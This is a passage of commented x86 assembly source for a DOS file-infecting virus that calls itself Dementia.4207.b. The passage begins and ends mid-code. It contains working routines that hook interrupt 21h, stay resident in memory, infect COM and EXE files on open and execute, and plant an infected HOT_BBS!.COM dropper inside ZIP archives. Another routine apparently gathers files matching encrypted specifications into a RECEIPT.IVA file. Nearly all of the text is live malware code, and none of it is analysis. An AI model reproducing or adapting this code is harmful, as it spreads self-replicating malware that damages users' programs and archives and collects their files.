mov bx,[stack_seg] ; BX = original stack segment
add ax,bx ; Add original stack segment to se...
mov ss,ax ; SS = original stack segment

mov ax,[stack_ptr] ; AX = original stack pointer
mov sp,ax ; SP = " " "
sti ; Set interrupt-enable flag

mov ah,62h ; Get current PSP address
int 21h
mov ds,bx ; DS = segment of PSP for current ...
mov es,bx ; ES = segment of PSP for current ...

xor ax,ax ; Zero AX
xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI

jmp dword ptr cs:[instruct_ptr]
vir_com_exit:
mov di,100h ; DI = offset of beginning of code
lea si,origin_code ; SI = offset of origin_code
nop
movsw ; Move the original code to beginning
movsb ; " " " " " "

push es ; Save ES at stack

mov ax,100h ; AX = offset of beginning of code
push ax ; Save AX at stack

xor ax,ax ; Zero AX
xor bx,bx ; Zero BX
xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
xor si,si ; Zero SI
xor di,di ; Zero DI

push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

retf ; Return far!

upcase_char proc near ; Upcase character
cmp al,'a' ; Lowcase character?
jl dont_upcase ; Less? Jump to dont_upcase
cmp al,'z' ; Lowcase character?
jg dont_upcase ; Greater? Jump to dont_upcase

sub al,20h ; Upcase character
dont_upcase:
ret ; Return!
endp

int21_virus proc near ; Interrupt 21h of Dementia.4207.b
pushf ; Save flags at stack
cld ; Clear direction flag

cmp ah,3eh ; Close file?
jne tst_open_fil ; Not equal? Jump to tst_open_fil

cmp bx,1492h ; Dementia.4207.b function?
jne tst_open_fil ; Not equal? Jump to tst_open_fil

mov bx,1776h ; Already resident

popf ; Load flags from stack

iret ; Interrupt return!
tst_open_fil:
cmp ah,3dh ; Open file
jne tst_load_and ; Not equal? Jump to tst_load_and

cmp al,0ffh ; Dementia.4207.b function
je dementia_fun ; Equal? Jump to dementia_fun

push ax si ; Save registers at stack
mov si,dx ; SI = offset of filename
find_dot:
lodsb ; AL = byte of filename
cmp al,00h ; End of filename?
je open_fi_exit ; Equal? Jump to open_fi_exit

cmp al,'.' ; Found the dot in the filename
jne find_dot ; Not equal? Jump to find_dot

lodsb ; AL = byte of extension
call upcase_char
cmp al,'C' ; COM executable?
jne tst_exe_exec ; Not equal? Jump to tst_exe_exec

lodsb ; AL = byte of extension
call upcase_char
cmp al,'O' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension
call upcase_char
cmp al,'M' ; COM executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

call inf_com_exe

jmp open_fi_exit
tst_exe_exec:
cmp al,'E' ; EXE executable?
jne tst_zip_arch ; Not equal? Jump to tst_zip_arch

lodsb ; AL = byte of extension
call upcase_char
cmp al,'X' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension
call upcase_char
cmp al,'E' ; EXE executable?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

call inf_com_exe

jmp open_fi_exit
tst_zip_arch:
cmp al,'Z' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension
call upcase_char
cmp al,'I' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

lodsb ; AL = byte of extension
call upcase_char
cmp al,'P' ; ZIP archive?
jne open_fi_exit ; Not equal? Jump to open_fi_exit

call infect_zip

jmp open_fi_exit
open_fi_exit:
pop si ax ; Load registers from stack

jmp tst_load_and
dementia_fun:
mov al,02h ; Dementia.4207.b function
tst_load_and:
cmp ah,4bh ; Load and/or execute program?
jne int21_exit ; Not equal? Jump to int21_exit

call inf_com_exe
int21_exit:
popf ; Load flags from stack

jmp cs:[int21_addr]
endp

install proc near ; Allocate memory, move virus to t...
push es ; Save ES at stack

mov ah,52h ; Get list of lists
int 21h

mov ax,es:[bx-02h] ; AX = segment of first memory con...
next_mcb:
mov ds,ax ; DS = segment of current memory c...

mov al,ds:[00h] ; AL = block type
cmp al,'Z' ; Last block in chain?
je allocate_mem ; Equal? Jump to allocate_mem

mov ax,ds ; AX = segment of current memory c...
mov bx,ds:[03h] ; BX = size of memory block in par...
add ax,bx ; Add size of memory block in para...
inc ax ; AX = segment of next memory cont...

jmp next_mcb
allocate_mem:
mov bx,ds:[03h] ; BX = size of memory block in par...
sub bx,(code_end-code_begin+0fh)/10h*02h
mov ds:[03h],bx ; Store new size of memory control...

mov ax,ds ; AX = segment of last memory cont...
add ax,bx ; Add new size of memory block in ...
inc ax ; AX = segment of virus
mov es,ax ; ES = " " "

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

xor si,si ; Zero SI
xor di,di ; Zero DI
mov cx,(code_end-code_begin)
rep movsb ; Move virus to top of memory

push es ; Save ES at stack

lea ax,install_ ; AX = offset of install_
push ax ; Save AX at stack

retf ; Return far!
install_:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

mov ax,3521h ; Get interrupt vector 21h
int 21h
mov word ptr [int21_addr+02h],es
mov word ptr [int21_addr],bx

lea dx,int21_virus ; DX = offset of int21_virus
mov ax,2521h ; Set interrupt vector 21h
int 21h

pop es ; Load ES from stack

ret ; Return!
endp

inf_com_exe proc near ; Infect COM/EXE file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,06h ; Correct stack pointer

push ax bx cx dx si di ds es

call int24_store

call open_file
jc com_exe_exit ; Error? Jump to com_exe_exit

call load_info
and cx,0000000000011111b
cmp cx,0000000000000001b
je call_close ; Already infected? Jump to call_c...

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov cx,20h ; Read thirty-two bytes
call read_file

mov ax,ds:[00h] ; AX = EXE signature
cmp ax,'MZ' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect
cmp ax,'ZM' ; Found EXE signature?
je call_infect ; Equal? Jump to call_infect

call infect_com

jmp call_mark
call_infect:
call infect_exe
call_mark:
call infect_mark
call_close:
call close_file
com_exe_exit:
call int24_load

pop es ds di si dx cx bx ax

mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

infect_zip proc near ; Infect ZIP archive
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,28h ; Correct stack pointer

push ax bx cx dx si di ds es

xor ax,ax ; Didn't found file
mov [bp-0eh],ax ; Store didn't found HOT_BBS!.COM
mov [bp-10h],ax ; " " " REQUEST.IVA
mov [bp-12h],ax ; " " " RECEIPT.IVA

call int24_store

push dx ds ; Save registers at stack
lea dx,temp_file ; DX = offset of temp_file
nop
call create_file
mov [bp-0ah],ax ; Store file handle of !#TEMP#!
pop ds dx ; Load registers from stack

call open_file
jnc load_info_ ; No error? Jump to load_info_

jmp inf_zip_exit
load_info_:
mov [bp-08h],ax ; Store file handle of ZIP file

call load_info

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
next_lfh_sig:
mov cx,04h ; Read four bytes
call read_file

mov ax,ds:[00h] ; AX = low-order word of file head...
cmp ax,'KP' ; Found low-order word of file ha...?
je test_dir_sig ; Equal? Jump to test_dir_sig

jmp call_mark_
test_dir_sig:
mov ax,ds:[02h] ; AX = high-order word of file hea...
cmp ax,201h ; Found high-order word of central...
jne read_lfh ; Not equal? Jump to read_lfh

jmp zero_cdh_num
read_lfh:
mov cx,1ah ; Read twenty-six bytes
call read_file

mov cx,ds:[16h] ; CX = filename length
mov dx,20h ; DI = offset of filename
call read_file_

push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

lea di,request_iva ; DI = offset of request_iva
nop
mov si,20h ; SI = offset of filename
request_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of request_iva

inc di ; Increase index register

cmp ah,00h ; End of filename?
je found_reques ; Equal? Jump to found_reques

cmp ah,al ; Byte of filename equal to byte o...
jne find_callfas ; Not equal? Jump to find_callfas

jmp request_loop
found_reques:
mov ax,01h ; Found REQUEST.IVA
mov [bp-10h],ax ; Store found REQUEST.IVA

xor cx,cx ; Zero CX
xor dx,dx ; Zero DX
call set_pos_cfp
mov [bp-24h],ax ; AX = low-order word of extra field
mov [bp-22h],dx ; DX = high-order word of extra field
find_callfas:
lea di,hot_bbs__com ; DI = offset of hot_bbs__com
nop
mov si,20h ; SI = offset of filename
callfas_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of hot_bbs__com

inc di ; Increase index register

cmp ah,00h ; End of filename?
je found_callfa ; Equal? Jump to found_callfa

cmp ah,al ; Byte of filename equal to byte o...
jne find_receipt ; Not equal? Jump to find_receipt

jmp callfas_loop
found_callfa:
mov ax,01h ; Found HOT_BBS!.COM
mov [bp-0eh],ax ; Store found HOT_BBS!.COM
find_receipt:
lea di,receipt_iva ; DI = offset of receipt_iva
nop
mov si,20h ; SI = offset of filename
receipt_loop:
lodsb ; AL = byte of filename
mov ah,es:[di] ; AH = byte of receipt_iva

inc di ; Increase index register

cmp ah,00h ; End of filename?
je found_receip ; Equal? Jump to found_receip

cmp ah,al ; Byte of filename equal to byte o...
jne calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr

jmp receipt_loop
found_receip:
mov ax,01h ; Found RECEIPT.IVA
mov [bp-12h],ax ; Store found RECEIPT.IVA
calc_lfh_ptr:
mov dx,ds:[0eh] ; DX = low-order word of compresse...
mov cx,ds:[10h] ; CX = high-order word of compress...
mov ax,ds:[18h] ; AX = extra field length
add dx,ax ; Add extra field length to compre...
adc cx,00h ; Convert to 32-bit

call set_pos_cfp

jmp next_lfh_sig
zero_cdh_num:
xor ax,ax ; No central directory file header...
mov [bp-0ch],ax ; Store no central directory file ...
copy_cds:
mov ax,[bp-0ch] ; AX = number of central directory...
inc ax ; Increase number of central direc...
mov [bp-0ch],ax ; Store number of central director...

mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,2ah ; Read forty-two bytes
call read_file

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_

mov cx,ds:[18h] ; CX = filename length
mov bx,ds:[1ah] ; BX = extra field length
add cx,bx ; Add extra field length to filena...
mov bx,ds:[1ch] ; BX = file comment length
add cx,bx ; CX = number of bytes to read

mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_

mov cx,04h ; Read four bytes
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_

mov ax,ds:[00h] ; AX = low-order word of end of ce...
cmp ax,'KP' ; Found low-order word of end of ...?
je test_eoc_sig ; Equal? Jump to test_eoc_sig

jmp call_mark_
test_eoc_sig:
mov ax,ds:[02h] ; AX = high-order word of end of c...
cmp ax,605h ; Found high-order word of end of ...
je copy_eocds ; Equal? Jump to read_oecds

jmp copy_cds
copy_eocds:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,12h ; Read eightteen bytes
call read_file

mov ax,ds:[0ch] ; AX = low-order word of offset of...
mov [bp-18h],ax ; Store low-order word of offset o...
mov ax,ds:[0eh] ; AX = high-order word of offset o...
mov [bp-16h],ax ; Store high-order word of offset ...

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_

mov cx,ds:[10h] ; CX = zipfile comment length
mov bx,[bp-08h] ; BX = file handle of ZIP file
call read_file_

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call write_file_

mov ax,[bp-10h] ; AX = found REQUEST.IVA
or ax,ax ; Didn't found REQUEST.IVA
jz test_callfas ; Zero? Jump to test_callfas

jmp test_receipt
test_callfas:
mov ax,[bp-0eh] ; AX = found HOT_BBS!.COM
or ax,ax ; Didn't found HOT_BBS!.COM
jz create_file_ ; Zero? Jump to create_file_

jmp call_mark_
create_file_:
lea dx,hot_bbs__com ; DX = offset of hot_bbs__com
nop
call create_file
mov [bp-14h],ax ; Store file handle of HOT_BBS!.COM
mov bx,[bp-14h] ; BX = file handle of HOT_BBS!.COM

mov cx,(file_end-file_begin)
nop
lea dx,file_begin ; DX = offset of file_begin
nop
call write_file_

call close_file

mov ax,01h ; Don't test filesize
mov [tst_filesize],ax ; Store don't test filesize

lea dx,hot_bbs__com ; DX = offset of hot_bbs__com
nop
call inf_com_exe

xor ax,ax ; Test filesize
mov [tst_filesize],ax ; Store test filesize

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

lea si,hot_bbs__com ; SI = offset of hot_bbs__com
nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move HOT_BBS!.COM to filename
open_filenam:
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,filename ; DX = offset of filename
nop
call open_file

call set_pos_eof
mov [bp-1ch],ax ; Store low-order word of filesize
mov [bp-1ah],dx ; Store high-order word of filesize

call calc_crc32
mov [bp-20h],ax ; Store low-order word of CRC-32 c...
mov [bp-1eh],dx ; Store high-order word of CRC-32 ...

mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-16h] ; CX = high-order word of offset o...
mov dx,[bp-18h] ; DX = low-order word of offset of...
call set_pos_sof_

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov ax,'KP' ; AX = low-order word of local hea...
mov ds:[00h],ax ; Store low-order word of local he...
mov ax,403h ; AX = high-order word of local hea...
mov ds:[02h],ax ; Store high-order word of local he...
mov ax,0ah ; AX = version needed to extract (v...
mov ds:[04h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[06h],ax ; Store general purpose bit flag
mov ds:[08h],ax ; Store compression method (the fil...
mov ax,1801h ; AX = last modified file time
mov ds:[0ah],ax ; Store last modified file time
mov ax,1d01h ; AX = last modified file date
mov ds:[0ch],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[0eh],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[10h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[12h],ax ; Store low-order word of compress...
mov ds:[16h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[14h],ax ; Store high-order word of compres...
mov ds:[18h],ax ; Store high-order word of uncompr...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ah],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length (0 bytes)
mov ds:[1ch],ax ; Store extra field length (0 bytes)

mov cx,1eh ; Write thirty bytes
call write_file

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,filename ; DX = offset of filename
nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov bx,[bp-14h] ; BX = file handle of HOT_BBS!.COM
call set_pos_sof
copy_callfas:
mov bx,[bp-14h] ; BX = file handle of HOT_BBS!.COM
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je copy_cds_ ; Equal? Jump to copy_cds_

mov cx,ax ; CX = number of bytes actually read
mov bx,[bp-08h] ; BX = file handle of ZIP file
call write_file

jmp copy_callfas
copy_cds_:
mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call set_pos_sof
cpy_cds_loop:
mov ax,[bp-0ch] ; AX = number of central directory...
cmp ax,00h ; No central directory file header?
je wrt_last_cds ; Equal? Jump to write_last_cds

dec ax ; Decrease number of central direc...
mov [bp-0ch],ax ; Store number of central director...

mov ax,'KP' ; AX = low-order word of central d...
mov ds:[00h],ax ; Store low-order word of central ...
mov ax,201h ; AX = high-order word of central ...
mov ds:[02h],ax ; Store high-order word of central...

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
mov cx,2ah ; Read forty-two bytes
mov dx,04h ; DX = offset of central directory...
call read_file_

mov cx,ds:[1ch] ; CX = filename length
mov dx,ds:[1eh] ; DX = extra field length
add cx,dx ; Add extra field length to filena...
mov dx,ds:[20h] ; DX = file comment length
add cx,dx ; CX = number of bytes to read

push cx ; Save CX at stack
mov dx,2eh ; DX = offset of central directory...
call read_file_

mov bx,[bp-08h] ; BX = file handle of ZIP file
pop cx ; Load CX from stack
add cx,2eh ; Add size of central directory fi...
call write_file

jmp cpy_cds_loop
wrt_last_cds:
mov ax,0ah ; AX = version made by (version 1....
mov ds:[04h],ax ; Store version made by (version 1...
mov ds:[06h],ax ; Store version needed to extract (...
xor ax,ax ; AX = general purpose bit flag and...
mov ds:[08h],ax ; Store general purpose bit flag
mov ds:[0ah],ax ; Store compression method (the fil...
mov ax,1801h ; AX = last modified file time
mov ds:[0ch],ax ; Store last modified file time
mov ax,1d01h ; AX = last modified file date
mov ds:[0eh],ax ; Store last modified file date
mov ax,[bp-20h] ; AX = low-order word of CRC-32 ch...
mov ds:[10h],ax ; Store low-order word of CRC-32 c...
mov ax,[bp-1eh] ; AX = high-order word of CRC-32 c...
mov ds:[12h],ax ; Store high-order word of CRC-32 ...
mov ax,[bp-1ch] ; AX = low-order word of filesize
mov ds:[14h],ax ; Store low-order word of compress...
mov ds:[18h],ax ; Store low-order word of uncompre...
mov ax,[bp-1ah] ; AX = high-order word of filesize
mov ds:[16h],ax ; Store high-order word of compres...
mov ds:[1ah],ax ; Store high-order word of compres...
mov ax,0ch ; AX = filename length (12 bytes)
mov ds:[1ch],ax ; Store filename length (12 bytes)
xor ax,ax ; AX = extra field length, file co...
mov ds:[1eh],ax ; Store extra field length (0 bytes)
mov ds:[20h],ax ; Store file comment length (0 bytes)
mov ds:[22h],ax ; Store disk number start (0 bytes)
mov ds:[24h],ax ; Store internal file attributes
mov ds:[26h],ax ; Store low-order word of external...
mov ds:[28h],ax ; Store high-order word of externa...
mov ax,[bp-18h] ; AX = low-order word of offset of...
mov ds:[2ah],ax ; Store low-order word of relative...
mov ax,[bp-16h] ; AX = high-order word of offset o...
mov ds:[2ch],ax ; Store high-order word of relativ...

mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,2eh ; Write forty-six bytes
call write_file

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

lea dx,filename ; DX = offset of filename
nop
mov cx,0ch ; Write twelve bytes
nop
call write_file_

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov ax,'KP' ; AX = low-order word of end of ce...
mov ds:[00h],ax ; Store low-order word of end of c...
mov ax,605h ; AX = high-order word of end of c...
mov ds:[02h],ax ; Store high-order word of end of ...

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
mov cx,12h ; Read eightteen bytes
mov dx,04h ; DX = offset of end of central di...
call read_file_

mov cx,ds:[14h] ; CX = zipfile comment length
push cx ; Save CX at stack
mov dx,16h ; DX = offset of zipfile comment
call read_file_

mov ax,ds:[08h] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[08h],ax ; Store total number of entries in...
mov ax,ds:[0ah] ; AX = total number of entries in ...
inc ax ; Increase total number of entries...
mov ds:[0ah],ax ; Store total number of entries in...
mov ax,ds:[0ch] ; AX = low-order word of size of t...
mov dx,ds:[0eh] ; DX = high-order word of size of ...
add ax,3ah ; Add size of central directory fi...
nop
adc dx,00h ; Convert to 32-bit
mov ds:[0ch],ax ; Store low-order word of size of ...
mov ds:[0eh],dx ; Store high-order word of size of...
mov ax,ds:[10h] ; AX = low-order word of offset of...
mov dx,ds:[12h] ; DX = high-order word of offset o...
add ax,2ah ; Add size of local file header to...
nop
adc dx,00h ; Convert to 32-bit
mov bx,[bp-1ah] ; BX = high-order word of filesize
add dx,bx ; Add high-order word of filesize ...
mov bx,[bp-1ch] ; BX = low-order word of filesize
add ax,bx ; Add low-order word of filesize t...
adc dx,00h ; Convert to 32-bit
mov ds:[10h],ax ; Store low-order word of offset o...
mov ds:[12h],dx ; Store high-order word of offset ...

mov bx,[bp-08h] ; BX = file handle of ZIP file
pop cx ; Load CX from stack
add cx,16h ; Add size of end of central direc...
call write_file

mov bx,[bp-14h] ; BX = file handle of HOT_BBS!.COM
call close_file

lea dx,filename ; DX = offset of filename
nop
call delete_file

jmp call_mark_
test_receipt:
mov ax,[bp-12h] ; AX = found RECEIPT.IVA
or ax,ax ; Didn't found RECEIPT.IVA
jz exam_extra ; Zero? Jump to exam_extra

jmp call_mark_
exam_extra:
mov bx,[bp-08h] ; BX = file handle of ZIP file
mov cx,[bp-22h] ; CX = high-order word of extra field
mov dx,[bp-24h] ; DX = low-order word of extra field
call set_pos_sof_

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer
mov es,ax ; ES = segment of data buffer

mov cx,400h ; Read one thousand and twenty-fou...
call read_file

cld ; Clear direction flag
xor si,si ; Zero SI
xor di,di ; Zero DI
lodsw ; AX = word of extra field
cmp ax,1492h ; Found infection mark?
je comp_extra ; Equal? Jump to comp_extra

jmp call_mark_
comp_extra:
lodsw ; AX = word of extra field
cmp ax,1776h ; Found infection mark?
je load_extra ; Equal? Jump to load_extra

jmp call_mark_
load_extra:
lodsw ; AX = 16-bit decryption key
mov dx,ax ; DX = " " "
lodsb ; AL = number of file specifications

xor cx,cx ; Zero CX
mov cl,al ; CL = number of filespecification
push ax ; Save AX at stack
decrypt_next:
push cx ; Save CX at stack
mov cx,07h ; Decryption fourteen bytes
decrypt_spec:
lodsw ; AX = word of encrypted file spec...
xor ax,dx ; Decrypt word of file specification
stosw ; Store word of file specification

loop decrypt_spec

pop cx ; Load CX from stack

loop decrypt_next

mov ax,ds ; AX = segment of data buffer
add ax,40h ; AX = segment of pathname
mov es,ax ; ES = " " "

push ds ; Save DS at stack
push es ; Save ES at stack
pop ds ; Load DS from stack (ES)

mov ah,47h ; Get current directory
xor dl,dl ; Default drive
xor si,si ; Zero SI
int 21h
pop ds ; Load DS from stack

mov ax,es ; AX = segment of pathname
add ax,04h ; AX = segment of end of pathname
mov es,ax ; ES = " " " " "

xor di,di ; Zero DI
mov al,'\' ; AL = backslash
stosb ; Store backslash
xor al,al ; AL = zero
stosb ; Store zero

push es ; Save ES at stack
mov ah,2fh ; Get disk transfer area address
int 21h
mov [bp-26h],es ; Store segment of disk transfer a...
mov [bp-28h],bx ; Store offset of disk transfer ar...
pop es ; Load ES from stack

push ds ; Save DS at stack
mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area

xor dx,dx ; Zero DX
mov ah,1ah ; Set disk transfer area address
int 21h

lea dx,receipt_iva ; DX = offset of receipt_iva
nop
call create_file
mov bx,ax ; BX = file handle of RECEIPT.IVA
mov [bp-14h],ax ; Store file handle of RECEIPT.IVA
pop ds ; Load DS from stack

pop ax ; Load AX from stack
mov dx,01h ; Don't store backslash
call create_recei

mov bx,[bp-14h] ; BX = file handle of RECEIPT.IVA
call set_pos_sof

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+48h
mov ds,ax ; DS = segment of disk transfer area
mov es,ax ; ES = " " " " "
encrypt_rece:
mov cx,400h ; Read one thousand and twenty-fou...
call read_file
cmp ax,00h ; Read all of the file?
je set_dta_addr ; Equal? Jump to set_dta_addr

push ax ; Save AX at stack
xor dx,dx ; Zero DX
sub dx,ax ; DX = -number of bytes actually read
mov cx,-01h
call set_pos_cfp

pop ax ; Load AX from stack
push ax ; Save AX at stack

mov cx,ax ; CX = number of bytes actually read
xor si,si ; Zero SI
xor di,di ; Zero DI
encrypt_ipt_:
lodsb ; AL = byte of RECEIPT.IVA
xor al,0ffh ; Encrypt byte of RECEIPT.IVA
stosb ; Store encrypted byte of RECEIPT.IVA
loop encrypt_ipt_

pop ax ; Load AX from stack
mov cx,ax ; CX = number of bytes actually read
call write_file

jmp encrypt_rece
set_dta_addr:
call close_file

mov ds,[bp-26h] ; DS = segment of disk transfer area
mov dx,[bp-28h] ; DX = offset of disk transfer area
mov ah,1ah ; Set disk transfer area address
int 21h

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h+40h
mov ds,ax ; DS = segment of data buffer

xor dx,dx ; Zero DX
mov ah,3bh ; Set current directory
int 21h

push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)

push cs ; Save CS at stack
pop es ; Load ES from stack (CS)

lea si,receipt_iva ; SI = offset of receipt_iva
nop
lea di,filename ; DI = offset of filename
nop
mov cx,0dh ; Move thirteen bytes
rep movsb ; Move RECEIPT.IVA to filename

jmp open_filenam
call_mark_:
mov bx,[bp-08h] ; BX = file handle of ZIP file
call infect_mark

mov bx,[bp-08h] ; BX = file handle of ZIP file
call close_file

mov bx,[bp-0ah] ; BX = file handle of !#TEMP#!
call close_file

lea dx,temp_file ; DX = offset of temp_file
nop
call delete_file
inf_zip_exit:
call int24_load

pop es ds di si dx cx bx ax

mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

infect_com proc near ; Infect COM file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer

mov ah,00h ; COM executable
nop
nop
mov cs:[com_or_exe],ah ; Store COM executable

mov ax,ds:[00h] ; AX = word of original code of CO...
mov word ptr cs:[origin_code],ax
mov al,ds:[02h] ; AL = byte of original code of CO...
mov cs:[origin_code+02h],al

call encrypt_copy

call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize

push ax ; Save AX at stack
mov ax,cs:[tst_filesize]
cmp ax,01h ; Don't test filesize?
pop ax ; Load AX from stack
je calc_buf_seg ; Equal? Jump to calc_buf_seg

cmp dx,00h ; Filesize too large?
jne inf_com_exit ; Not equal? Jump to inf_com_exit
cmp ax,1000h ; Filesize too small?
jb inf_com_exit ; Below? Jump to inf_com_exit
calc_buf_seg:
add ax,(code_end-code_begin)
jb inf_com_exit ; Filesize too large? Jump to inf_...

mov ax,cs ; AX = code segment
add ax,(code_end-code_begin+0fh)/10h
mov ds,ax ; DS = segment of data buffer

mov cx,10h ; CX = number of bytes to add to f...
mov ax,[bp-04h] ; AX = filesize
and ax,0000000000001111b
sub cx,ax ; CX = number of bytes to add to f...

mov ax,[bp-04h] ; AX = filesize
add ax,cx ; AX = offset of virus within file
mov [bp-04h],ax ; Store offset of virus within file

call write_file_

mov cx,(code_end-code_begin)
call write_file

mov al,0e9h ; JMP imm16 (opcode 0e9h)
mov ds:[00h],al ; Store JMP imm16

mov ax,[bp-04h] ; AX = filesize
sub ax,03h ; Subtract size of opcode JMP imm16
mov ds:[01h],ax ; Store 16-bit immediate

call set_pos_sof

mov cx,03h ; Write three bytes
call write_file
inf_com_exit:
mov sp,bp ; SP = stack pointer

pop bp ; Load BP from stack

ret ; Return!
endp

infect_exe proc near ; Infect EXE file
push bp ; Save BP at stack
mov bp,sp ; BP = stack pointer
sub sp,04h ; Correct stack pointer

mov ah,01h ; EXE executable
nop
nop
mov cs:[com_or_exe],ah ; Store EXE executable

call set_pos_eof
mov [bp-04h],ax ; Store low-order word of filesize
mov [bp-02h],dx ; Store high-order word of filesize

and ax,0000000000001111b
mov cx,10h ; CX = number of bytes to add to f...
sub cx,ax ; CX = " " " " " " "

mov ax,[bp-04h] ; AX = low-order word of filesize
mov dx,[bp-02h] ; DX = high-order word of filesize
add ax,cx ; Add number of bytes to add to fi...
adc dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...

call write_file_

push bx ; Save BX at stack
mov ax,[bp-04h] ; AX = low-order word of pointer t...
mov dx,[bp-02h] ; DX = high-order word of pointer ...

mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,0ch ; Divide by four thousand and nine...
shr bx,cl ; BX = header size in sixty-five t...
sub dx,bx ; Subtract header size in sixty fi...

mov bx,ds:[08h] ; BX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
shl bx,cl ; BX = header size
sub ax,bx ; Subtract header size from filesize
sbb dx,00h ; Convert to 32-bit
mov [bp-04h],ax ; Store low-order word of pointer ...
mov [bp-02h],dx ; Store high-order word of pointer...
pop bx ; Load BX from stack

mov ax,ds:[14h] ; AX = original instruction pointer
mov cs:[instruct_ptr],ax
mov ax,ds:[16h] ; AX = original code segment
mov cs:[code_seg],ax ; Store original code segment

xor ax,ax ; Zero AX
mov ds:[14h],ax ; Store initial IP
mov cs:[initial_ip],ax ; Store " "

mov ax,[bp-02h] ; AX = high-order word of pointer ...
test ax,1111111111110000b
jz calc_ins_ptr ; Zero? Jump to calc_ins_ptr

jmp inf_exe_exit
calc_ins_ptr:
mov cl,0ch
shl ax,cl ; Multiply by sixty-five thousand ...

mov dx,[bp-04h] ; DX = low-order word of pointer t...
mov cl,04h ; Divide by paragraphs
shr dx,cl ; DX = low-order word of pointer t...
add ax,dx ; AX = initial CS relative to star...
mov ds:[16h],ax ; Store initial CS relative to sta...
mov cs:[initial_cs],ax ; " " " " " "

push ax ; Save AX at stack
mov ax,ds:[0eh] ; AX = initial SS relative to star...
mov cs:[stack_seg],ax ; Store initial SS relative to sta...
mov ax,ds:[10h] ; AX = initial SP
mov cs:[stack_ptr],ax ; Store initial SP
pop ax ; Load AX from stack

add ax,(code_end-code_begin+0fh)/10h
jae store_stack ; Above or equal? Jump to store_stack

jmp inf_exe_exit
store_stack:
mov ds:[0eh],ax ; Store initial SS relative to sta...
mov ax,100h ; AX = initial SP
mov ds:[10h],ax ; Store initial SP

